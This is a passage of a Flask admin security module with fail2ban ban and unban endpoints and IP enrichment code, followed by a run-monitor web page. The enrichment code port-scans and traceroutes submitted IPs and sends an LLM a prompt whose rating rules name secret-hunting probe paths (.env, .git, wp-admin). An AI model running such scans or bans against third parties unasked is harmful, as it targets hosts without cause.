|
|
|
|
|
@app.route("/api/admin/security/ban", methods=["POST"])
|
|
@admin_required
|
|
def admin_ban_ip():
|
|
"""Manually ban/unban an IP via fail2ban."""
|
|
import subprocess
|
|
data = request.json or {}
|
|
ip = data.get("ip", "").strip()
|
|
action = data.get("action", "ban")
|
|
if not ip:
|
|
return jsonify({"error": "IP required"}), 400
|
|
if ip.startswith("192.168."):
|
|
return jsonify({"error": "Cannot ban LAN addresses"}), 400
|
|
try:
|
|
if action == "ban":
|
|
subprocess.run(["fail2ban-client", "set", "llm-team-exploit", "banip", ip],
|
|
capture_output=True, text=True, timeout=5)
|
|
sec_log.warning("MANUAL_BAN ip=%s by=%s", ip, session.get("username", "admin"))
|
|
return jsonify({"ok": True, "message": f"Banned {ip}"})
|
|
elif action == "unban":
|
|
for jail in ["llm-team-exploit", "llm-team-login", "nginx-botsearch", "nginx-bad-request", "nginx-forbidden"]:
|
|
subprocess.run(["fail2ban-client", "set", jail, "unbanip", ip],
|
|
capture_output=True, text=True, timeout=5)
|
|
sec_log.warning("MANUAL_UNBAN ip=%s by=%s", ip, session.get("username", "admin"))
|
|
return jsonify({"ok": True, "message": f"Unbanned {ip}"})
|
|
except Exception as e:
|
|
return jsonify({"error": str(e)}), 500
|
|
return jsonify({"error": "Invalid action"}), 400
|
|
|
|
|
|
@app.route("/api/admin/security/enrich", methods=["POST"])
|
|
@admin_required
|
|
def admin_enrich_ip():
|
|
"""Enrich an IP with geolocation, ISP, proxy detection, and AI analysis."""
|
|
data = request.json or {}
|
|
ip = data.get("ip", "").strip()
|
|
if not ip:
|
|
return jsonify({"error": "IP required"}), 400
|
|
|
|
result = {"ip": ip, "geo": None, "ai_analysis": None, "error": None}
|
|
|
|
# Step 1: Geolocation + ISP via ip-api.com
|
|
try:
|
|
geo_resp = requests.get(
|
|
f"http://ip-api.com/json/{ip}?fields=status,country,countryCode,regionName,city,isp,org,as,mobile,proxy,hosting,lat,lon,timezone",
|
|
timeout=5
|
|
)
|
|
geo = geo_resp.json()
|
|
if geo.get("status") == "success":
|
|
result["geo"] = geo
|
|
else:
|
|
result["geo"] = {"error": "lookup failed"}
|
|
except Exception as e:
|
|
result["geo"] = {"error": str(e)}
|
|
|
|
# Step 2: Gather all log data for this IP
|
|
ip_logs = []
|
|
try:
|
|
with open("/var/log/llm-team-security.log") as f:
|
|
for line in f:
|
|
if f"ip={ip}" in line:
|
|
ip_logs.append(line.strip())
|
|
except Exception:
|
|
pass
|
|
|
|
# Step 3: Web-Check deep scan (ports, DNS, blocklists, traceroute)
|
|
WEB_CHECK_BASE = "http://localhost:3000/api"
|
|
webcheck = {}
|
|
for endpoint in ["ports", "dns", "block-lists", "trace-route", "headers", "status"]:
|
|
try:
|
|
wc_resp = requests.get(f"{WEB_CHECK_BASE}/{endpoint}?url={ip}", timeout=20)
|
|
if wc_resp.status_code == 200:
|
|
data = wc_resp.json()
|
|
if not isinstance(data, dict) or not data.get("error"):
|
|
webcheck[endpoint.replace("-", "_")] = data
|
|
except Exception:
|
|
pass
|
|
result["webcheck"] = webcheck
|
|
|
|
# Step 4: AI threat analysis with full context (including web-check data)
|
|
try:
|
|
geo_ctx = ""
|
|
if result["geo"] and not result["geo"].get("error"):
|
|
g = result["geo"]
|
|
geo_ctx = f"Geolocation: {g.get('city','?')}, {g.get('regionName','?')}, {g.get('country','?')}\n"
|
|
geo_ctx += f"ISP: {g.get('isp','?')} | Org: {g.get('org','?')} | AS: {g.get('as','?')}\n"
|
|
geo_ctx += f"Proxy: {g.get('proxy',False)} | Hosting: {g.get('hosting',False)} | Mobile: {g.get('mobile',False)}\n"
|
|
|
|
# Add web-check data if available
|
|
wc_ctx = ""
|
|
if webcheck.get("ports"):
|
|
open_ports = webcheck["ports"].get("openPorts", [])
|
|
if open_ports:
|
|
wc_ctx += f"Open ports: {', '.join(str(p) for p in open_ports)}\n"
|
|
if webcheck.get("block_lists"):
|
|
blocked = [b["server"] for b in webcheck["block_lists"].get("blocklists", []) if b.get("isBlocked")]
|
|
if blocked:
|
|
wc_ctx += f"Blocked on {len(blocked)} DNS blocklists: {', '.join(blocked[:5])}\n"
|
|
if webcheck.get("trace_route") and webcheck["trace_route"].get("result"):
|
|
hops = [list(h.keys())[0] for h in webcheck["trace_route"]["result"] if isinstance(h, dict)]
|
|
if hops:
|
|
wc_ctx += f"Traceroute ({len(hops)} hops): {' → '.join(hops[:8])}\n"
|
|
|
|
log_ctx = "\n".join(ip_logs[-20:]) if ip_logs else "No log entries found."
|
|
|
|
prompt = (
|
|
f"You are an aggressive cybersecurity analyst protecting a production web application. "
|
|
f"Provide a detailed threat assessment for IP {ip}. "
|
|
f"This is a PRIVATE application — there is NO legitimate reason for unknown IPs to scan it.\n\n"
|
|
f"{geo_ctx}{wc_ctx}\n"
|
|
f"Activity log ({len(ip_logs)} total entries, showing last 20):\n{log_ctx}\n\n"
|
|
"THREAT LEVEL RULES (follow strictly):\n"
|
|
"- critical: ANY exploit scan (.env, .git, wp-admin, etc.) OR blocked on multiple DNS blocklists OR multiple user agents\n"
|
|
"- high: probing non-existent paths repeatedly OR hosting/proxy IP OR port scan shows only SSH\n"
|
|
"- medium: a few 404s on common paths from non-proxy IP\n"
|
|
"- low: single benign request (robots.txt, favicon)\n"
|
|
"- An IP blocked on 10+ DNS blocklists is ALWAYS critical regardless of log activity\n"
|
|
"- An IP with only port 22 open and no web service is suspicious infrastructure\n\n"
|
|
"Provide your analysis as JSON:\n"
|
|
'{"threat_level": "none|low|medium|high|critical",\n'
|
|
' "classification": "scanner|bruteforce|bot|researcher|targeted_attack|compromised_host|legitimate",\n'
|
|
' "confidence": 0.0-1.0,\n'
|
|
' "summary": "2-3 sentence threat assessment",\n'
|
|
' "indicators": ["list of specific indicators found"],\n'
|
|
' "recommendation": "specific recommended action — ban permanently, ban 24h, monitor, or ignore",\n'
|
|
' "likely_automated": true/false,\n'
|
|
' "pattern": "description of attack pattern if any"}\n'
|
|
)
|
|
|
|
cfg = load_config()
|
|
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
|
|
ai_resp = requests.post(f"{base}/api/generate", json={
|
|
"model": SENTINEL_MODEL, "prompt": prompt, "stream": False,
|
|
"options": {"num_ctx": 4096, "temperature": 0.1}
|
|
}, timeout=60)
|
|
ai_resp.raise_for_status()
|
|
ai_text = ai_resp.json()["response"]
|
|
|
|
# Parse JSON from AI response
|
|
text = ai_text.strip()
|
|
if "```" in text:
|
|
text = text.split("```")[1]
|
|
if text.startswith("json"):
|
|
text = text[4:]
|
|
start_idx = text.find("{")
|
|
end_idx = text.rfind("}") + 1
|
|
if start_idx >= 0 and end_idx > start_idx:
|
|
result["ai_analysis"] = json.loads(text[start_idx:end_idx])
|
|
else:
|
|
result["ai_analysis"] = {"raw": ai_text[:500]}
|
|
except Exception as e:
|
|
result["ai_analysis"] = {"error": str(e)}
|
|
|
|
result["log_count"] = len(ip_logs)
|
|
|
|
# Step 5: Save to Wall of Shame database
|
|
try:
|
|
geo = result.get("geo") or {}
|
|
ai = result.get("ai_analysis") or {}
|
|
wc = result.get("webcheck") or {}
|
|
open_ports = json.dumps(wc.get("ports", {}).get("openPorts", []))
|
|
bl = wc.get("block_lists", {}).get("blocklists", [])
|
|
blocked = [b["server"] for b in bl if b.get("isBlocked")]
|
|
tr_hops = []
|
|
if wc.get("trace_route") and wc["trace_route"].get("result"):
|
|
for h in wc["trace_route"]["result"]:
|
|
if isinstance(h, dict):
|
|
hop_ip = list(h.keys())[0]
|
|
tr_hops.append({"ip": hop_ip, "latency": h[hop_ip][0] if h[hop_ip] else None})
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("""
|
|
INSERT INTO threat_intel (ip, threat_level, classification, confidence, summary,
|
|
indicators, recommendation, pattern, attack_type, likely_automated,
|
|
country, country_code, city, isp, org, asn, is_proxy, is_hosting,
|
|
open_ports, blocklist_count, blocklist_total, blocklists_blocked,
|
|
reverse_dns, traceroute, log_count, banned, raw_data, enriched_at, updated_at)
|
|
VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,NOW(),NOW())
|
|
ON CONFLICT (ip) DO UPDATE SET
|
|
threat_level=EXCLUDED.threat_level, classification=EXCLUDED.classification,
|
|
confidence=EXCLUDED.confidence, summary=EXCLUDED.summary,
|
|
indicators=EXCLUDED.indicators, recommendation=EXCLUDED.recommendation,
|
|
pattern=EXCLUDED.pattern, attack_type=EXCLUDED.attack_type,
|
|
likely_automated=EXCLUDED.likely_automated,
|
|
country=EXCLUDED.country, country_code=EXCLUDED.country_code, city=EXCLUDED.city,
|
|
isp=EXCLUDED.isp, org=EXCLUDED.org, asn=EXCLUDED.asn,
|
|
is_proxy=EXCLUDED.is_proxy, is_hosting=EXCLUDED.is_hosting,
|
|
open_ports=EXCLUDED.open_ports, blocklist_count=EXCLUDED.blocklist_count,
|
|
blocklist_total=EXCLUDED.blocklist_total, blocklists_blocked=EXCLUDED.blocklists_blocked,
|
|
reverse_dns=EXCLUDED.reverse_dns, traceroute=EXCLUDED.traceroute,
|
|
log_count=EXCLUDED.log_count, banned=EXCLUDED.banned,
|
|
raw_data=EXCLUDED.raw_data, updated_at=NOW()
|
|
""", (
|
|
ip, ai.get("threat_level", "unknown"), ai.get("classification"),
|
|
ai.get("confidence", 0), ai.get("summary"),
|
|
json.dumps(ai.get("indicators", [])), ai.get("recommendation"),
|
|
ai.get("pattern"), ai.get("attack_type"), ai.get("likely_automated", False),
|
|
geo.get("country"), geo.get("countryCode"), geo.get("city"),
|
|
geo.get("isp"), geo.get("org"), geo.get("as"),
|
|
geo.get("proxy", False), geo.get("hosting", False),
|
|
open_ports, len(blocked), len(bl), json.dumps(blocked),
|
|
"", json.dumps(tr_hops), len(ip_logs),
|
|
ip in _get_banned_ips(), json.dumps(result)
|
|
))
|
|
conn.commit()
|
|
result["saved"] = True
|
|
except Exception as e:
|
|
result["saved"] = False
|
|
result["save_error"] = str(e)
|
|
|
|
return jsonify(result)
|
|
|
|
|
|
def _get_banned_ips():
|
|
"""Quick check of all banned IPs."""
|
|
import subprocess
|
|
banned = set()
|
|
for jail in ["llm-team-exploit", "llm-team-login"]:
|
|
try:
|
|
r = subprocess.run(["fail2ban-client", "status", jail], capture_output=True, text=True, timeout=5)
|
|
for line in r.stdout.split("\n"):
|
|
if "Banned IP list" in line:
|
|
for ip in line.split(":", 1)[1].strip().split():
|
|
banned.add(ip.strip())
|
|
except Exception:
|
|
pass
|
|
return banned
|
|
|
|
|
|
@app.route("/api/admin/wall-of-shame")
|
|
@admin_required
|
|
def admin_wall_of_shame():
|
|
"""Return all enriched threat intel from the database."""
|
|
sort = request.args.get("sort", "enriched_at")
|
|
order = request.args.get("order", "desc")
|
|
threat_filter = request.args.get("threat", "")
|
|
allowed_sorts = {"enriched_at", "threat_level", "confidence", "blocklist_count", "log_count", "ip"}
|
|
if sort not in allowed_sorts:
|
|
sort = "enriched_at"
|
|
order_sql = "DESC" if order == "desc" else "ASC"
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
if threat_filter:
|
|
cur.execute(f"SELECT * FROM threat_intel WHERE threat_level = %s ORDER BY {sort} {order_sql} LIMIT 200", (threat_filter,))
|
|
else:
|
|
cur.execute(f"SELECT * FROM threat_intel ORDER BY {sort} {order_sql} LIMIT 200")
|
|
rows = cur.fetchall()
|
|
for r in rows:
|
|
r["enriched_at"] = r["enriched_at"].isoformat() if r["enriched_at"] else None
|
|
r["updated_at"] = r["updated_at"].isoformat() if r["updated_at"] else None
|
|
return jsonify({"entries": rows, "total": len(rows)})
|
|
except Exception as e:
|
|
return jsonify({"entries": [], "error": str(e)})
|
|
|
|
|
|
@app.route("/api/admin/security/mass-ban", methods=["POST"])
|
|
@admin_required
|
|
def admin_mass_ban():
|
|
"""Ban or unban multiple IPs at once."""
|
|
import subprocess
|
|
data = request.json or {}
|
|
ip_list = data.get("ips", [])
|
|
action = data.get("action", "ban")
|
|
if not ip_list:
|
|
return jsonify({"error": "No IPs provided"}), 400
|
|
results = {"success": 0, "failed": 0, "skipped": 0}
|
|
for ip in ip_list:
|
|
ip = ip.strip()
|
|
if not ip or ip.startswith("192.168."):
|
|
results["skipped"] += 1
|
|
continue
|
|
try:
|
|
if action == "ban":
|
|
subprocess.run(["fail2ban-client", "set", "llm-team-exploit", "banip", ip],
|
|
capture_output=True, text=True, timeout=5)
|
|
sec_log.warning("MASS_BAN ip=%s by=%s", ip, session.get("username", "admin"))
|
|
elif action == "unban":
|
|
for jail in ["llm-team-exploit", "llm-team-login", "nginx-botsearch", "nginx-bad-request", "nginx-forbidden"]:
|
|
subprocess.run(["fail2ban-client", "set", jail, "unbanip", ip],
|
|
capture_output=True, text=True, timeout=5)
|
|
sec_log.warning("MASS_UNBAN ip=%s by=%s", ip, session.get("username", "admin"))
|
|
results["success"] += 1
|
|
except Exception:
|
|
results["failed"] += 1
|
|
return jsonify({"ok": True, "results": results})
|
|
|
|
|
|
# ─── ADMIN MONITOR ─────────────────────────────────────────────
|
|
|
|
@app.route("/admin/monitor")
|
|
@admin_required
|
|
def monitor_page():
|
|
return MONITOR_HTML
|
|
|
|
@app.route("/api/admin/monitor")
|
|
@admin_required
|
|
def monitor_data():
|
|
active = []
|
|
for rid, r in _active_runs.items():
|
|
active.append({
|
|
"run_id": rid, "mode": r["mode"], "user": r["user"],
|
|
"prompt": r["prompt"], "elapsed": round(time.time() - r["started"], 1),
|
|
"step": r["step"], "total_steps": r["total_steps"],
|
|
"substep": r["substep"], "events": r["events"],
|
|
"errors": len(r["errors"]), "responses_size": r["responses_size"],
|
|
"error_details": r["errors"][-3:] # last 3 errors
|
|
})
|
|
recent = list(reversed(_run_log[-20:]))
|
|
return jsonify({"active": active, "recent": recent, "timestamp": time.time()})
|
|
|
|
|
|
MONITOR_HTML = r"""<!DOCTYPE html>
|
|
<html lang="en"><head>
|
|
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0">
|
|
<title>LLM Team — Monitor</title>
|
|
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
|
<style>
|
|
:root{--bg:#08090c;--surface:rgba(14,16,22,0.85);--border:#2a2d35;--text:#e8e6e3;--text2:#7a7872;--accent:#e2b55a;--green:#4ade80;--red:#e05252;--blue:#5b9cf5}
|
|
*{box-sizing:border-box;margin:0;padding:0}
|
|
body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh;padding:20px 28px}
|
|
canvas#bg-grid{position:fixed;inset:0;z-index:0;pointer-events:none}
|
|
.scanlines{position:fixed;inset:0;z-index:1;pointer-events:none;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.02) 2px,rgba(0,0,0,0.02) 4px)}
|
|
.wrap{position:relative;z-index:10;max-width:1200px;margin:0 auto}
|
|
header{display:flex;align-items:center;gap:14px;padding-bottom:18px;border-bottom:2px solid var(--border);margin-bottom:24px}
|
|
h1{font-family:'JetBrains Mono',monospace;font-size:18px;font-weight:700}
|
|
h1 span{color:var(--accent)}
|
|
.back{color:var(--text2);text-decoration:none;font-size:10px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:1px;border:2px solid var(--border);padding:5px 12px;border-radius:2px}
|
|
.back:hover{border-color:var(--accent);color:var(--accent)}
|
|
.live-dot{width:8px;height:8px;border-radius:50%;background:var(--green);box-shadow:0 0 8px var(--green);animation:pulse-dot 2s ease-in-out infinite}
|
|
@keyframes pulse-dot{0%,100%{opacity:1}50%{opacity:0.5}}
|
|
.section{margin-bottom:28px}
|
|
.section-title{font-family:'JetBrains Mono',monospace;font-size:10px;text-transform:uppercase;letter-spacing:2px;color:var(--accent);margin-bottom:12px;font-weight:700}
|
|
.card{background:var(--surface);border:2px solid var(--border);border-radius:2px;padding:16px;margin-bottom:8px;backdrop-filter:blur(16px);cursor:pointer;transition:border-color 0.15s}
|
|
.card:hover{border-color:rgba(226,181,90,0.4)}
|
|
.card.active{border-color:var(--accent);box-shadow:0 0 20px rgba(226,181,90,0.05)}
|
|
.card.error{border-color:var(--red)}
|
|
.card.no-click{cursor:default}
|
|
.card.no-click:hover{border-color:var(--border)}
|
|
.card-row{display:flex;align-items:center;gap:8px;margin-bottom:4px;flex-wrap:wrap}
|
|
.tag{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;padding:3px 8px;border:1px solid;border-radius:1px;font-weight:600}
|
|
.tag-mode{color:var(--accent);border-color:rgba(226,181,90,0.3)}
|
|
.tag-user{color:var(--blue);border-color:rgba(91,156,245,0.3)}
|
|
.tag-time{color:var(--text2);border-color:var(--border)}
|
|
.tag-err{color:var(--red);border-color:rgba(224,82,82,0.3)}
|
|
.tag-ok{color:var(--green);border-color:rgba(74,222,128,0.3)}
|
|
.tag-role{color:#c084fc;border-color:rgba(192,132,252,0.3)}
|
|
.prompt-text{font-size:12px;color:var(--text2);margin:4px 0;font-style:italic;max-width:600px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
|
|
.mini-progress{height:4px;background:rgba(0,0,0,0.4);border-radius:1px;overflow:hidden;margin:6px 0}
|
|
.mini-fill{height:100%;background:var(--accent);transition:width 0.5s}
|
|
.substep{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--text2)}
|
|
.error-line{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--red);border-left:2px solid var(--red);padding-left:8px;margin:4px 0}
|
|
.stats-grid{display:grid;grid-template-columns:repeat(4,1fr);gap:8px;margin-bottom:24px}
|
|
.stat-box{background:var(--surface);border:2px solid var(--border);border-radius:2px;padding:14px;backdrop-filter:blur(16px);text-align:center}
|
|
.stat-val{font-family:'JetBrains Mono',monospace;font-size:22px;font-weight:700;color:var(--accent)}
|
|
.stat-label{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:1.5px;color:var(--text2);margin-top:4px}
|
|
.empty{font-family:'JetBrains Mono',monospace;font-size:11px;color:var(--text2);padding:20px;text-align:center;opacity:0.5}
|
|
.breadcrumb{font-family:'JetBrains Mono',monospace;font-size:10px;text-transform:uppercase;letter-spacing:1px;color:var(--text2);margin-bottom:16px;display:flex;align-items:center;gap:6px}
|
|
.breadcrumb a{color:var(--accent);text-decoration:none;cursor:pointer}
|
|
.breadcrumb a:hover{text-decoration:underline}
|
|
.breadcrumb .sep{opacity:0.3}
|
|
.detail-panel{display:none}
|
|
.detail-panel.open{display:block}
|
|
.detail-header{background:var(--surface);border:2px solid var(--accent);border-radius:2px;padding:18px;margin-bottom:16px;backdrop-filter:blur(16px)}
|
|
.detail-prompt{font-size:13px;color:var(--text);margin:8px 0;line-height:1.6}
|
|
.step-timeline{position:relative;padding-left:24px;margin-bottom:16px}
|
|
.step-timeline::before{content:'';position:absolute;left:7px;top:4px;bottom:4px;width:2px;background:var(--border)}
|
|
.step-item{position:relative;margin-bottom:12px;cursor:pointer}
|
|
.step-dot{position:absolute;left:-20px;top:4px;width:10px;height:10px;border-radius:2px;border:2px solid var(--border);background:var(--bg)}
|
|
.step-item.done .step-dot{background:var(--accent);border-color:var(--accent)}
|
|
.step-item.error .step-dot{background:var(--red);border-color:var(--red)}
|
|
.step-head{display:flex;align-items:center;gap:8px;font-size:12px;font-weight:600}
|
|
.step-meta{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--text2);margin-top:2px}
|
|
.step-preview{font-size:11px;color:var(--text2);margin-top:4px;max-height:0;overflow:hidden;transition:max-height 0.3s;line-height:1.5}
|
|
.step-item.expanded .step-preview{max-height:2000px}
|
|
.step-text{background:rgba(0,0,0,0.3);border:1px solid var(--border);border-radius:2px;padding:12px;margin-top:6px;white-space:pre-wrap;font-size:12px;line-height:1.6;max-height:400px;overflow-y:auto}
|
|
.step-text::-webkit-scrollbar{width:3px}
|
|
.step-text::-webkit-scrollbar-thumb{background:rgba(226,181,90,0.15)}
|
|
.click-hint{font-family:'JetBrains Mono',monospace;font-size:8px;text-transform:uppercase;letter-spacing:1.5px;color:var(--text2);opacity:0.4;margin-top:4px}
|
|
@media(max-width:768px){.stats-grid{grid-template-columns:repeat(2,1fr)}.card-row{gap:6px}}
|
|
</style>
|
|
</head><body>
|
|
<canvas id="bg-grid"></canvas>
|
|
<div class="scanlines"></div>
|
|
<div class="wrap">
|
|
<header>
|
|
<div class="live-dot"></div>
|
|
<h1><span>Monitor</span> // Process View</h1>
|
|
<nav style="margin-left:auto;display:flex;gap:6px">
|
|
<a class="back" href="/">Team</a>
|
|
<a class="back" href="/logs">Logs</a>
|
|
<a class="back" href="/admin">Admin</a>
|
|
</nav>
|
|
</header>
|
|
<div class="stats-grid">
|
|
<div class="stat-box"><div class="stat-val" id="s-active">0</div><div class="stat-label">Active Runs</div></div>
|
|
<div class="stat-box"><div class="stat-val" id="s-total">0</div><div class="stat-label">Completed</div></div>
|
|
<div class="stat-box"><div class="stat-val" id="s-errors">0</div><div class="stat-label">Errors</div></div>
|
|
<div class="stat-box"><div class="stat-val" id="s-avgtime">—</div><div class="stat-label">Avg Duration</div></div>
|
|
</div>
|
|
|
|
<!-- Level 1: Run list -->
|
|
<div id="view-list">
|
|
<div class="section">
|
|
<div class="section-title">Active Runs</div>
|
|
<div id="active-runs"><div class="empty">No active runs</div></div>
|
|
</div>
|
|
<div class="section">
|
|
<div class="section-title">Recent Runs</div>
|
|
<div id="recent-runs"><div class="empty">No recent runs</div></div>
|
|
</div>
|
|
<div class="section">
|
|
<div class="section-title">History (from DB)</div>
|
|
<div id="db-runs"><div class="empty">Loading...</div></div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- Level 2: Pipeline detail -->
|
|
<div id="view-detail" class="detail-panel">
|
|
<div class="breadcrumb">
|
|
<a onclick="backToList()">Monitor</a>
|
|
<span class="sep">→</span>
|
|
<span id="detail-breadcrumb">Run</span>
|
|
</div>
|
|
<div id="detail-content"></div>
|
|
</div>
|
|
</div>
|
|
|
|
<script>
|
|
!function(){var c=document.getElementById('bg-grid');if(!c)return;var x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);var t=0;function draw(){x.clearRect(0,0,c.width,c.height);var s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(var gx=-s+ox;gx<c.width+s;gx+=s)for(var gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}t++;requestAnimationFrame(draw)}draw()}();
|
|
|
|
function fmt(s){if(!s&&s!==0)return'—';if(s<60)return Math.round(s)+'s';return Math.floor(s/60)+'m '+Math.round(s%60)+'s'}
|
|
function esc(t){var d=document.createElement('span');d.textContent=t;return d.innerHTML}
|
|
function tag(text,cls){var t=document.createElement('span');t.className='tag '+cls;t.textContent=text;return t}
|
|
function truncate(t,n){return t&&t.length>n?t.substring(0,n)+'...':t||''}
|
|
|
|
function backToList(){
|
|
document.getElementById('view-list').style.display='';
|
|
document.getElementById('view-detail').className='detail-panel';
|
|
}
|
|
|
|
function renderActive(runs){
|
|
var el=document.getElementById('active-runs');
|
|
if(!runs.length){el.textContent='';var e=document.createElement('div');e.className='empty';e.textContent='No active runs';el.appendChild(e);return}
|
|
el.textContent='';
|
|
runs.forEach(function(r){
|
|
var c=document.createElement('div');c.className='card active no-click';
|
|
var row=document.createElement('div');row.className='card-row';
|
|
row.appendChild(tag(r.mode,'tag-mode'));row.appendChild(tag(r.user,'tag-user'));
|
|
row.appendChild(tag(fmt(r.elapsed),'tag-time'));row.appendChild(tag(r.events+' events','tag-time'));
|
|
if(r.errors>0)row.appendChild(tag(r.errors+' errors','tag-err'));
|
|
c.appendChild(row);
|
|
var p=document.createElement('div');p.className='prompt-text';p.textContent=r.prompt;c.appendChild(p);
|
|
if(r.total_steps>0){var mp=document.createElement('div');mp.className='mini-progress';var mf=document.createElement('div');mf.className='mini-fill';mf.style.width=Math.max(5,Math.round((r.step/r.total_steps)*100))+'%';mp.appendChild(mf);c.appendChild(mp)}
|
|
if(r.substep){var s=document.createElement('div');s.className='substep';s.textContent=r.substep;c.appendChild(s)}
|
|
el.appendChild(c);
|
|
});
|
|
}
|
|
|
|
function renderRecent(runs){
|
|
var el=document.getElementById('recent-runs');
|
|
if(!runs.length){el.textContent='';var e=document.createElement('div');e.className='empty';e.textContent='No recent runs (this session)';el.appendChild(e);return}
|
|
el.textContent='';
|
|
runs.forEach(function(r){
|
|
var c=document.createElement('div');c.className='card'+(r.errors&&r.errors.length?' error':'');
|
|
var row=document.createElement('div');row.className='card-row';
|
|
row.appendChild(tag(r.mode,'tag-mode'));row.appendChild(tag(r.user||'?','tag-user'));
|
|
row.appendChild(tag(fmt(r.duration),'tag-time'));
|
|
row.appendChild(tag((r.response_count||0)+' resp','tag-time'));
|
|
if(r.errors&&r.errors.length)row.appendChild(tag(r.errors.length+' errors','tag-err'));
|
|
else row.appendChild(tag('ok','tag-ok'));
|
|
c.appendChild(row);
|
|
var p=document.createElement('div');p.className='prompt-text';p.textContent=r.prompt;c.appendChild(p);
|
|
if(r.errors&&r.errors.length){r.errors.slice(-1).forEach(function(e){
|
|
var el2=document.createElement('div');el2.className='error-line';el2.textContent=(e.model||'?')+': '+truncate(e.error,80);c.appendChild(el2);
|
|
})}
|
|
var hint=document.createElement('div');hint.className='click-hint';hint.textContent='No DB entry — in-memory only';
|
|
c.appendChild(hint);
|
|
c.style.cursor='default';
|
|
el.appendChild(c);
|
|
});
|
|
}
|
|
|
|
function renderDBRuns(runs){
|
|
var el=document.getElementById('db-runs');
|
|
if(!runs.length){el.textContent='';var e=document.createElement('div');e.className='empty';e.textContent='No saved runs';el.appendChild(e);return}
|
|
el.textContent='';
|
|
runs.forEach(function(r){
|
|
var c=document.createElement('div');c.className='card';
|
|
c.onclick=function(){openRun(r.id)};
|
|
var row=document.createElement('div');row.className='card-row';
|
|
row.appendChild(tag(r.mode,'tag-mode'));
|
|
row.appendChild(tag(r.models_used?r.models_used.length+' models':'?','tag-time'));
|
|
var ts=r.created_at?new Date(r.created_at).toLocaleString():'?';
|
|
row.appendChild(tag(ts,'tag-time'));
|
|
c.appendChild(row);
|
|
var p=document.createElement('div');p.className='prompt-text';p.textContent=truncate(r.prompt,100);c.appendChild(p);
|
|
var hint=document.createElement('div');hint.className='click-hint';hint.textContent='Click to drill down →';c.appendChild(hint);
|
|
el.appendChild(c);
|
|
});
|
|
}
|
|
|
|
async function openRun(id){
|
|
document.getElementById('view-list').style.display='none';
|
|
document.getElementById('view-detail').className='detail-panel open';
|
|
var content=document.getElementById('detail-content');
|
|
content.textContent='Loading...';
|
|
try{
|
|
var r=await fetch('/api/runs/'+id);
|
|
var run=await r.json();
|
|
if(run.error){content.textContent='Error: '+run.error;return}
|
|
document.getElementById('detail-breadcrumb').textContent=run.mode+' #'+id;
|
|
renderRunDetail(run,content);
|
|
}catch(e){content.textContent='Error: '+e.message}
|
|
}
|
|
|
|
function renderRunDetail(run,el){
|
|
el.textContent='';
|
|
// Header card
|
|
var header=document.createElement('div');header.className='detail-header';
|
|
var row=document.createElement('div');row.className='card-row';
|
|
row.appendChild(tag(run.mode,'tag-mode'));
|
|
if(run.models_used)row.appendChild(tag(run.models_used.length+' models','tag-time'));
|
|
var ts=run.created_at?new Date(run.created_at).toLocaleString():'';
|
|
if(ts)row.appendChild(tag(ts,'tag-time'));
|
|
header.appendChild(row);
|
|
var prompt=document.createElement('div');prompt.className='detail-prompt';prompt.textContent=run.prompt||'';header.appendChild(prompt);
|
|
el.appendChild(header);
|
|
|
|
// Step timeline from responses
|
|
var responses=run.responses||[];
|
|
if(!responses.length){var empty=document.createElement('div');empty.className='empty';empty.textContent='No responses recorded';el.appendChild(empty);return}
|
|
|
|
var title=document.createElement('div');title.className='section-title';title.textContent='Pipeline Steps ('+responses.length+' responses)';el.appendChild(title);
|
|
|
|
var timeline=document.createElement('div');timeline.className='step-timeline';
|
|
var lastRole='';
|
|
responses.forEach(function(resp,i){
|
|
var isError=resp.role==='error';
|
|
var isNewPhase=resp.role!==lastRole;
|
|
lastRole=resp.role;
|
|
|
|
var item=document.createElement('div');
|
|
item.className='step-item'+(isError?' error':' done');
|
|
var dot=document.createElement('div');dot.className='step-dot';item.appendChild(dot);
|
|
|
|
var head=document.createElement('div');head.className='step-head';
|
|
var modelSpan=document.createElement('span');modelSpan.textContent=resp.model||'unknown';head.appendChild(modelSpan);
|
|
head.appendChild(tag(resp.role||'response','tag-role'));
|
|
var sizeTag=tag(resp.text?resp.text.length+' chars':'empty','tag-time');head.appendChild(sizeTag);
|
|
item.appendChild(head);
|
|
|
|
var meta=document.createElement('div');meta.className='step-meta';
|
|
meta.textContent='~'+Math.round((resp.text||'').length/4)+' tokens';
|
|
item.appendChild(meta);
|
|
|
|
// Collapsible preview
|
|
var preview=document.createElement('div');preview.className='step-preview';
|
|
var textBox=document.createElement('div');textBox.className='step-text';
|
|
textBox.textContent=resp.text||'(empty)';
|
|
preview.appendChild(textBox);
|
|
item.appendChild(preview);
|
|
|
|
item.onclick=function(e){
|
|
e.stopPropagation();
|
|
item.classList.toggle('expanded');
|
|
};
|
|
|
|
timeline.appendChild(item);
|
|
});
|
|
el.appendChild(timeline);
|
|
}
|
|
|
|
async function loadDBRuns(){
|
|
try{
|
|
var r=await fetch('/api/runs');
|
|
var d=await r.json();
|
|
renderDBRuns(d.runs||[]);
|
|
